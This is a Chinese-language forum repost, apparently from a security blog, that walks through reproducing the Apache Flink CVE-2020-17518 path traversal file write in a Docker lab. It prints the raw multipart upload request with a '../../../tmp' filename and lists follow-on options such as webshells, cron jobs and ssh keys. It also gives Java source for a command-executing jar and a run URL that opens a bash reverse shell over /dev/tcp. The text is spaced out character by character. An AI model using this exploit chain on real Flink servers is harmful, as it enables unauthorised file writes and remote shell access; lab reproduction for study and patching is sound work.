搜索

[2049] 2021-01-19_漏洞复现ApacheFlinkCVE-2020-17518

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-16
2021-01-19_漏洞复现ApacheFlinkCVE-2020-17518 漏 洞 复 现   A p a c h e   F l i n k   C V E - 2 0 2 0 - 1 7 5 1 8 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 1 - 1 9 收 录 于 话 题   # 漏 洞 复 现   , 1 9 个 执 行 如 下 命 令 启 动 F l i n k   环 境 ： 环 境 启 动 后 ， 目 标 为 先 上 传 1 个 文 件 ， 测 试 测 试 环 境 ： d o c k e r - c o m p o s e   u p   - d h t t p : / / y o u r - i p : 8 0 8 1 P O S T   / j a r s / u p l o a d   H T T P / 1 . 1 H o s t :   1 . 1 . 1 . 1 : 8 0 8 1 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 7 . 0 . 4 2 8 0 . 8 8   S a f a r i / 5 3 7 . 3 6 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y o Z 8 m e K n r r s o 8 9 R 6 Y C o n t e n t - L e n g t h :   1 8 5 - - - - - - W e b K i t F o r m B o u n d a r y o Z 8 m e K n r r s o 8 9 R 6 Y C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " j a r f i l e " ;   f i l e n a m e = " . . / . . / . . / . . / . . / . . / t m p / d o n 9 s e c "
如 图 ， 环 境 搭 建 成 功 。 文 件 写 入 大 概 有 以 下 几 种 利 用 姿 势 ( 欢 迎 师 傅 们 补 充 ) ： 计 划 任 务 反 弹 计 划 任 务 反 弹 s h e l l 尝 试 尝 试 - 失 败 失 败 注 意 ： p 牛 的 d o c k e r 环 境 里 是 没 有 c r o n t a b 的 ， 所 以 得 先 配 置 一 下 复 现 环 境 的 依 赖 ： 如 图 ， c r o n t a b 已 成 功 安 装 . 多 次 测 试 均 已 失 败 告 终 ， 这 里 仅 记 录 一 下 这 种 思 路 。 d o n 9 s e c - - - - - - W e b K i t F o r m B o u n d a r y o Z 8 m e K n r r s o 8 9 R 6 Y - - 写 入 w e b s h e l l 写 入 c r o n 或 s s h   k e y 等 文 件 写 入 j a r 等 库 和 配 置 文 #   安 装   c r o n t a b a p t - g e t   u p d a t e   & &   a p t - g e t   - y   i n s t a l l   c r o n s e r v i c e   c r o n   s t a r t
j a r 包 反 弹 包 反 弹 s h e l l 尝 试 尝 试 - 成 功 成 功 准 备 j a r 包 ， 源 码 如 下 ： 将 源 码 编 译 并 打 包 为 j a r 包 ， 如 图 获 取 上 传 路 径 注 ： F l i n k 运 行 时 文 件 都 在 / t m p 目 录 下 通 过 接 口   / j o b m a n a g e r / c o n f i g   可 以 获 取 w e b . t m p d i r 的 路 径 ： i m p o r t   j a v a . i o . F i l e ; i m p o r t   j a v a . u t i l . S c a n n e r ; p u b l i c   c l a s s   E x e c u t e   {       p u b l i c   E x e c u t e ( )   {       }       p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {               S t r i n g   o   =   " " ;               S t r i n g   c m d   =   a r g s [ 0 ] ;               P r o c e s s B u i l d e r   p ;               i f   ( S y s t e m . g e t P r o p e r t y ( " o s . n a m e " ) . t o L o w e r C a s e ( ) . c o n t a i n s ( " w i n " ) )   {                       p   =   n e w   P r o c e s s B u i l d e r ( n e w   S t r i n g [ ] { " c m d . e x e " ,   " / c " ,   c m d } ) ;               }   e l s e   {                       S t r i n g   p t y   =   " / b i n / s h " ;                       i f   ( ( n e w   F i l e ( " / b i n / b a s h " ) ) . e x i s t s ( ) )   {                               p t y   =   " / b i n / b a s h " ;                       }                       p   =   n e w   P r o c e s s B u i l d e r ( n e w   S t r i n g [ ] { p t y ,   " - c " ,   c m d } ) ;               }               P r o c e s s   s   =   p . s t a r t ( ) ;               S c a n n e r   c   =   ( n e w   S c a n n e r ( s . g e t I n p u t S t r e a m ( ) ) ) . u s e D e l i m i t e r ( " A " ) ;               c . c l o s e ( ) ;       } } j a v a c   E x e c u t e . j a v a j a r   c f   e x e c S h e l l . j a r   E x e c u t e . c l a s s
然 后 通 过 / j a r s / u p l o a d 接 口 上 传 j a r 包 。 右 键   - >   p a s t e   f r o m   f i l e 如 图 ， 成 功 上 传 j a r 包 ： 执 行 命 令 ， 反 弹 s h e l l ： 成 功 反 弹 s h e l l , 如 图 : / j a r s / s h e l l . j a r / r u n ? e n t r y - c l a s s = E x e c u t e & p r o g r a m - a r g s = ' / b i n / b a s h + - i + > % 2 6 + / d e v / t c p / 0 . 0 . 0 . 0 / 9 9 9 9 + 0 > % 2 6 1 '
后 续 的 步 骤 就 是 把 复 现 过 程 代 码 化 ， 落 地 成 p o c 。 参 考 ： h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / t r e e / m a s t e r / f l i n k / C V E - 2 0 2 0 - 1 7 5 1 8 h t t p s : / / n o s e c . o r g / h o m e / d e t a i l / 4 6 3 9 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理